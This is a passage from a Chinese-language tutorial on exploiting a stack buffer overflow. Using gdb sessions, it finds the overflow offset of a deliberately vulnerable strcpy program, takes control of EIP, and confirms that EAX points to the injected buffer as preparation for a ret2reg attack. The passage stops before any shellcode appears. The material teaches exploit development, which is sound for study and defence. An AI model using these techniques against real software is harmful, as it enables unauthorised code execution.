分析evilfunction函数调用栈的使用情况,如下图所示:
可以看到,要想溢出该栈,需要至少1016B的数据。
下面我们用gdb调试一下,看上面的分析是不是正确:
(gdb) run `perl -e 'print "\x41"x1014'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1014'`
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1015'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1015'`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1016'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1016'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。
下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and {1}xfffffff0,%esp
0x080483ea <+6>: sub {1}x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: add {1}x4,%eax
0x080483f3 <+15>: mov (%eax),%eax
0x080483f5 <+17>: mov %eax,(%esp)
0x080483f8 <+20>: call 0x80483c4 <evilfunction>
0x080483fd <+25>: mov {1}x0,%eax
0x08048402 <+30>: leave
0x08048403 <+31>: ret
End of assembler dump.
(gdb) b *main+20
Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.
(gdb) b *main+31
Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.
(gdb) disass evilfunction
Dump of assembler code for function evilfunction:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: sub {1}x408,%esp
0x080483cd <+9>: mov 0x8(%ebp),%eax
0x080483d0 <+12>: mov %eax,0x4(%esp)
0x080483d4 <+16>: lea -0x3f0(%ebp),%eax
0x080483da <+22>: mov %eax,(%esp)
0x080483dd <+25>: call 0x80482f4 <strcpy@plt>
0x080483e2 <+30>: leave
0x080483e3 <+31>: ret
End of assembler dump.
(gdb) b *evilfunction+31
Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.
(gdb) run `perl -e 'print "\x41"x1012,"\x42"x4'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1012,"\x42"x4'`
Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12
12 evilfunction(argv[1]);
(gdb) stepi
evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4
4 void evilfunction(char *input) {
(gdb) i r esp
esp 0xbfffef9c 0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c: 0x08048429 0x00171cbd 0x0029f324 0x0029eff4
0xbfffef9c: 0x080483fd 0xbffff203 0x0011ea50 0x0804841b
0xbfffefac: 0x0029eff4 0x08048410
(gdb) c
Continuing.
Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8
8 }
(gdb) i r esp
esp 0xbfffef9c 0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef9c: 0x42424242 0xbffff200 0x0011ea50 0x0804841b
0xbfffefac: 0x0029eff4 0x08048410
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0xbfffeba8 -1073747032
ecx 0x0 0
edx 0xbffff5fc -1073744388
ebx 0x29eff4 2748404
esp 0xbfffefa0 0xbfffefa0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/20x $eax
0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebe8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/20x $eax -16
0xbfffeb98: 0x0015b1c4 0x0015b1c4 0x000027d8 0x00005844
0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)